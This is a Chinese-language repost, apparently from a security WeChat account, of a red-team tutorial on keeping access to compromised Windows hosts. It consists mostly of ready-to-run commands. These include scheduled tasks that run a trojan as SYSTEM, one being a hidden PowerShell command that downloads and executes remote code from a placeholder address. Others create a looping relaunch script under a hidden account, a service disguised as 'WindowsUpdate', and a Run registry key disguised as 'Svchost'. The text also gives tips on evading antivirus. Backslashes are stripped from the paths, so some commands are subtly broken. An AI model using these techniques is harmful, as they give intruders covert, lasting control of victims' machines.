本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!
欢迎各位添加微信号:asj-jacky
加入安世加 交流群 和大佬们一起交流安全技术
Windows权限维持
在红蓝对抗实战中,当我们获取到一台Windows主机的权限后,首先要做的就是怎么维持住该权限。因为防守方的实力也在不断增强,并且他们的流量监测设备也在不断监控,如果发现机器被植入木马,他们肯定会采取措施。
比如采取以下几点措施:
查杀木马进程
重启主机
断网
关闭主机
而对于我们维持权限,可以有以下几点:
使用 schtasks 命令创建定时任务
在目标主机上创建一个名为test的计划任务,启动程序为C:vps.exe,启动权限为system,启动时间为每隔一小时启动一次。当执行完该命令,该计划任务就已经启动了
schtasks /create /tn test /sc HOURLY /mo 1 /tr c:vps.exe /ru system /f
其他启动时间参数:
/sc onlogon 用户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
但是如果是powershell命令的话,执行完下面的命令,还需要执行启动该计划任务的命令
schtasks /create /tn test /sc HOURLY /mo 1 /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://xx.xx.xx.xx'''))'" /ru system /f
查询该test计划任务
schtasks /query | findstr test
启动该test计划任务
schtasks /run /i /tn "test"
删除该test计划任务
schtasks /delete /tn "test" /f
如果当期用户权限是普通权限那么 /ru 参数为 %USERNAME%。
如果是管理员权限,可以指定为 system。
但是如果目标主机有杀软的话会报毒
所以,要想绕过杀入软件创建计划任务的话,有这么一个思路。利用VBS脚本创建计划任务,然后执行该VBS脚本即可。实测不报毒。
传送门: Windows中的计划任务(schtasks)
如果目标主机的3389端口开放着,则我们可以创建隐蔽账号。
或者读取该主机administrator账号密码,使用impacket工具包登录(需要目标主机开启445端口)。
注意,如果目标主机上有杀软的话,创建新用户杀软会有安全提示的。
针对查杀木马进程这个措施,我们可以将木马进程迁移到系统正常的进程当中
对于查杀木马进程,我们还有一种解决办法,设置CMD定时脚本,创建隐蔽账号,登录创建的账号执行该脚本:
这个bat脚本的代码如下。我们将免杀马放在 c:windowstemp 目录下,免杀马的名字改为 run.exe
@echo off
set INTERVAL=120
:Again
echo start server
C:
cd C:windowstemp
start run.exe
timeout %INTERVAL%
goto Again
然后运行这个脚本,这个脚本会每隔2分钟(120秒)执行免杀木马。
在实战中我们的利用思路是,在目标机器上创建新用户,然后在新用户下执行该bat脚本。实战中我们可以将120秒的时间适当延长,免杀马的名字也可以修改为更具有迷惑性的名字。这样,如果防守方只是杀掉了免杀马的进程,而没有杀掉我们的这个bat脚本的cmd.exe进程的话,我们的这个bat脚本还会定时执行免杀马的。
注意:执行该脚本需要远程桌面双击执行,不能直接在CobaltStrike中使用命令行执行
针对重启主机,我们可以将木马放入系统的启动目录当中
C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
注意,如果目标主机上有杀软的话,将木马放入启动目录杀软会有安全提示的。
注册服务
sc create "WindowsUpdate" binpath= "cmd /c start "C:UsersAdministratorDesktopbeacon.exe""&&sc config "WindowsUpdate" start= auto&&net start WindowsUpdate
查询服务
sc query WindowsUpdate
删除服务
sc delete WindowsUpdate
添加注册表启动项
reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v Svchost /t REG_SZ /d "C:windowstemptestbeacon.exe " /f
查询注册表启动项
reg query HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v Svchost
删除注册表启动项
reg delete HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v Svchost /f
打开注册表 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
右键 新建(N) ——> 字符串值(S)
目标计算机重新启动后,我们即可以收到弹回来的shell
本文中的相关功能我已经集成在CS插件中,链接:https://t.zsxq.com/7MnIAM7
相关文章:使用reg管理注册表
本文始发于微信公众号(安世加):技术干货 | Windows权限维持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论